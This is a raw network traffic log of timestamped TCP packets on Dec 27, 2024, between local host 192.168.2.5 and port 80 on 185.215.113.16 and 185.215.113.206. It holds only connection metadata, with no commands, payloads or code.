Dec 27, 2024 15:01:18.023435116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.023484945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.023926020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.023938894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.023983955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.024564028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.024641991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.024656057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.026247025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.026261091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.026313066 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.044938087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.044951916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.045031071 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.105767012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.105787039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.105873108 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.106277943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.106288910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.106301069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.106339931 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.107460022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.107501984 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.107608080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.108174086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.108217001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.147762060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.147850990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.147937059 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.148278952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.148443937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.148489952 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.148581028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.149674892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.149715900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.149734020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.150607109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.150656939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.150685072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.151596069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.151644945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.170142889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.170170069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.170254946 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.229964018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.230052948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.230170012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.230410099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.230545998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.230592012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.230654955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.231606960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.231699944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.231745958 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.232620001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.232680082 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.272737026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.272825956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.272908926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.273245096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.273442030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.274450064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.274498940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.274525881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.274924994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.275592089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.275684118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.275739908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.276596069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.327585936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.339770079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.339821100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.339900970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.355091095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.355170012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.355268955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.355545998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.355638981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.355839968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.356646061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.356712103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.356786013 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.357635975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.397686005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.397799969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.397804976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.398279905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.398365974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.398411989 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.399246931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.399327040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.399374008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.400327921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.400377989 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.400412083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.421910048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.421940088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.421983004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.468326092 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.480341911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.480380058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.480586052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.480813026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.480921030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.481868029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.481919050 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.481966972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.482672930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.482959032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.483088970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.483138084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.483963013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.522802114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.522891045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.522996902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.523324966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.523431063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.523497105 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.524368048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.524476051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.524604082 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.525413990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.525474072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.525567055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.531739950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.531759977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.531835079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.615195990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.615228891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.615339994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.615677118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.615792990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.615849972 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.616740942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.616921902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.617772102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.617822886 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.617850065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.618521929 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.618820906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.647985935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.648050070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.648057938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.648447990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.648484945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.648557901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.649529934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.649569988 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.649619102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.650605917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.650710106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.650773048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.651633024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.651721954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.651766062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.729837894 CET	80	49764	185.215.113.206	192.168.2.5
Dec 27, 2024 15:01:18.731823921 CET	49764	80	192.168.2.5	185.215.113.206
Dec 27, 2024 15:01:18.736444950 CET	49764	80	192.168.2.5	185.215.113.206
Dec 27, 2024 15:01:18.740092993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.740180969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.740238905 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.740680933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.740773916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.740844011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.741580009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.741684914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.742374897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.742427111 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.742468119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.743431091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.743469954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.743477106 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.743505001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.772864103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.773144960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.773166895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.773195982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.773242950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.773278952 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.774204016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.774363995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.774667978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.775271893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.775362968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.775399923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.776330948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.776446104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.777364969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.777414083 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.862492085 CET	80	49764	185.215.113.206	192.168.2.5
Dec 27, 2024 15:01:18.864873886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.864996910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.865415096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.865509987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.865526915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.866491079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.866537094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.866575956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.867527962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.867602110 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.867665052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.867717028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.868757963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.897934914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.898013115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.898112059 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.898226023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.898293972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.898343086 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.899307966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.899367094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.899422884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.899962902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.900033951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.900074959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.900975943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.901077986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.901119947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.902067900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.902126074 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.902144909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.952599049 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.964910030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.964967966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.965044022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.990159035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.990308046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.990407944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.990596056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.990947008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.991008997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.991630077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.991753101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.991802931 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.992763996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.992944956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:18.992995977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:18.993896008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.024441004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.024456024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.024518967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.024833918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.024883986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.024943113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.025950909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.025994062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.026067019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.026973963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.027017117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.027040958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.028023005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.028832912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.115076065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.115488052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.115502119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.115555048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.116445065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.116563082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.116575956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.117398024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.117410898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.117454052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.118402004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.118415117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.118578911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.119427919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.119441032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.119472980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.119761944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.121400118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.149100065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.149116993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.149178982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.149497986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.149509907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.149554014 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.150439024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.150451899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.150505066 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.151459932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.151473045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.151515961 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.152503967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.152517080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.152559042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.153986931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.192943096 CET	80	49764	185.215.113.206	192.168.2.5
Dec 27, 2024 15:01:19.193041086 CET	49764	80	192.168.2.5	185.215.113.206
Dec 27, 2024 15:01:19.202564955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.240277052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.240298986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.240398884 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.240849972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.240860939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.240911007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.241884947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.241895914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.241971970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.242917061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.242928028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.242975950 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.243988991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.243999958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.244049072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.244132996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.274175882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.274207115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.274261951 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.274641991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.274705887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.274904966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.274967909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.275029898 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.275928974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.276082039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.276190996 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.276772976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.277024031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.277036905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.277076006 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.277960062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.278084993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.278122902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.279097080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.317720890 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.364869118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.364985943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.365032911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.365315914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.365483999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.365529060 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.365575075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.366161108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.366200924 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.366242886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.367196083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.367260933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:19.367305040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.368145943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:19.368186951 CET	49731	80	192.168.2.5	185.215.113.16
